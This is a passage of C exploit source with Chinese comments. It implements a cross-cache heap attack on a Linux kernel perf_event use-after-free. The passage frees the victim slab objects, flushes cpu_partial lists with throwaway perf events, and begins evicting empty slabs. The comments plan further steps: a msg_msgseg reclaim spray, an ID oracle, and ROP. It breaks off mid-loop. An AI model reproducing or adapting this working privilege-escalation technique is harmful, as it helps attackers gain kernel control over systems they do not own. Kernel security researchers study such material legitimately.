[4] 跨缓存攻击: 将 perf_event slab 页返还 buddy 分配器,然后用 msg_msgseg 回收。注意,`perf_event`和kmalloc-cg-1k`都从order-2 page取内存,而kmalloc-cg-4k从order-3 page取内存 perf_event 使用 perf_event_cache slab (kmalloc-4k, 对象 0x520 字节) msg_msgseg 使用 kmalloc-4k (seg 数据区 0x400 字节),可以回收同一页面 步骤: 释放所有 slab → 刷新 cpu_partial → 驱逐空 slab → RCU → msg 喷洒 → ID Oracle → ROP
| 2324 | // msg_msgseg 使用 kmalloc-4k (seg 数据区 0x400 字节),可以回收同一页面 |
| 2325 | // 步骤: 释放所有 slab → 刷新 cpu_partial → 驱逐空 slab → RCU → msg 喷洒 → ID Oracle → ROP |
| 2326 | void cross_cache_attack() |
| 2327 | { |
| 2328 | // [4-1] 释放slab页:释放 UAF perf_event 周围所有的对象 |
| 2329 | log_info("[4-1] Phase 1: Freeing & Draining Slabs..."); |
| 2330 | // victim_perf_fd - 被event C覆盖的event B / victim_perf_idx - event B 下标 |
| 2331 | // tmp_probe_fd - 覆写event B的event C / spray_c_count - event C 下标 / victim_perf_id -重叠的 event C id |
| 2332 | int empty_boundary = EMPTY_SLABS * OBJS_PER_SLAB; |
| 2333 | for (int i = 0; i < empty_boundary; i++) { |
| 2334 | if (i == perf_fd_idx) { // perf_fd_idx - event A 中目标UAF perf_event的下标。在竞争前就已经释放了,留下slot供竞争时使用 |
| 2335 | log_dbg("[4-1] Clean overlapped event c, fd: %d", spray_c_fds[spray_c_count]); |
| 2336 | close(spray_c_fds[spray_c_count]); |
| 2337 | spray_c_fds[spray_c_count] = -1; // 释放 覆写event B的event C |
| 2338 | |
| 2339 | for (int j = 0; j < SPRAY_B_COUNT; j++) { |
| 2340 | if (j != victim_perf_idx // 只留下1个含悬垂指针的 event B, 释放所有 event B |
| 2341 | && spray_b_ids[j] >= spray_b_ids[victim_perf_idx] - OBJS_PER_SLAB |
| 2342 | && spray_b_ids[j] <= spray_b_ids[victim_perf_idx] + 2) { |
| 2343 | log_dbg("[4-1] Close sprayed event b, fd: %d, id: %ld", spray_b_fds[j], spray_b_ids[j]); |
| 2344 | close(spray_b_fds[j]); |
| 2345 | spray_b_fds[j] = -1; |
| 2346 | } |
| 2347 | } |
| 2348 | |
| 2349 | for (int j = TOTAL_OBJS - 1; j >= TOTAL_OBJS - OBJS_PER_SLAB; j--) { |
| 2350 | if (total_fds[j] != -1) { |
| 2351 | log_dbg("[4-1] Close total event, fd: %d", total_fds[j]); |
| 2352 | close(total_fds[j]); |
| 2353 | } |
| 2354 | } |
| 2355 | |
| 2356 | continue; |
| 2357 | } |
| 2358 | if (total_fds[i] != -1) // 释放 UAF perf_event 周围所有的对象 |
| 2359 | close(total_fds[i]); |
| 2360 | } |
| 2361 | // [4-2] Flush cpu_partial:分配并立即释放32个flush事件,强制刷新活跃slab的cpu_partial列表 |
| 2362 | log_info("[4-2] Flushing Active Slab (Force Unfreeze)..."); |
| 2363 | |
| 2364 | #define FLUSH_COUNT 32 |
| 2365 | int flush_fds[FLUSH_COUNT]; |
| 2366 | struct perf_event_attr flush_attr; |
| 2367 | memset(&flush_attr, 0, sizeof(flush_attr)); |
| 2368 | flush_attr.type = PERF_TYPE_SOFTWARE; |
| 2369 | flush_attr.size = sizeof(struct perf_event_attr); |
| 2370 | flush_attr.config = PERF_COUNT_SW_CPU_CLOCK; |
| 2371 | flush_attr.disabled = 1; |
| 2372 | flush_attr.exclude_kernel = 1; |
| 2373 | for (int i = 0; i < FLUSH_COUNT; i++) { |
| 2374 | flush_fds[i] = perf_event_open(&flush_attr, 0, -1, -1, 0); |
| 2375 | } |
| 2376 | |
| 2377 | for (int i = 0; i < FLUSH_COUNT; i++) { |
| 2378 | if (flush_fds[i] != -1) close(flush_fds[i]); |
| 2379 | } |
| 2380 | // [4-3] 驱逐空slab:关闭 `EVICT_SLABS=12` 个slab末尾对象,驱动空slab页返还buddy分配器 |
| 2381 | log_info("[4-3] Step 3: Evicting cpu_partial to flush empty slabs..."); |
| 2382 | for (int i = 0; i < EVICT_SLABS; i++) { |
| 2383 | int idx = empty_boundary + (i * OBJS_PER_SLAB); |
no test coverage detected